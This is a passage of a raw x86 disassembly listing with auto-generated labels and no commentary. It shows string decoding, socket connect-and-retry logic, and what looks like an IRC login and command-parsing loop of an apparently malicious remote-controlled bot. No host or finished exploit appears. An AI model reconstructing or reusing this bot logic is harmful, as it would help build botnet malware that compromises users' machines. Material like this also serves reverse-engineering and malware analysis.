		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F551:				; CODE XREF: ___:0040F4C4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F650	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F650	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6C0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 27E0DC8h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FE30	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A7A3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411200


loc_40FE72:				; CODE XREF: sub_40FE30+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411200
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FE9A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FEA4
		cmp	eax, ebx
		jz	loc_40FFDE


loc_40FE9A:				; CODE XREF: sub_40FE30+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_40FFDE


loc_40FEA4:				; CODE XREF: sub_40FE30+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FEB9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_40FEB9:				; CODE XREF: sub_40FE30+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_40FEE9
		mov	[ebp+20h], ebx


loc_40FEE9:				; CODE XREF: sub_40FE30+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_40FFDE:				; CODE XREF: sub_40FE30+64j
					; sub_40FE30+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410008
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2830000h
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40FE30+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410198
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410088
		push	2710h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410088:				; CODE XREF: sub_40FE30+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr byte_5F285B
		nop
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410157
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410157:				; CODE XREF: sub_40FE30+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410198:				; CODE XREF: sub_40FE30+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4111F0
		nop
		call	near ptr 27E0DC8h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410270
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410274


loc_410270:				; CODE XREF: sub_40FE30+3EAj
		mov	[esp+20h+var_D], bl


loc_410274:				; CODE XREF: sub_40FE30+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410296
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410296:				; CODE XREF: sub_40FE30+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410334
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410462
; ---------------------------------------------------------------------------


loc_410334:				; CODE XREF: sub_40FE30+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4104A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4111F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410467
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410462:				; CODE XREF: sub_40FE30+4FFj
		call	sub_401226


loc_410467:				; CODE XREF: sub_40FE30+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4111F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_4104A0:				; CODE XREF: sub_40FE30+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410522
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410527


loc_410522:				; CODE XREF: sub_40FE30+69Bj
		mov	[esp+20h+var_D], 1


loc_410527:				; CODE XREF: sub_40FE30+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410594
		cmp	[ebp+16h], bl
		jnz	short loc_410570
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410570:				; CODE XREF: sub_40FE30+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410594:				; CODE XREF: sub_40FE30+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
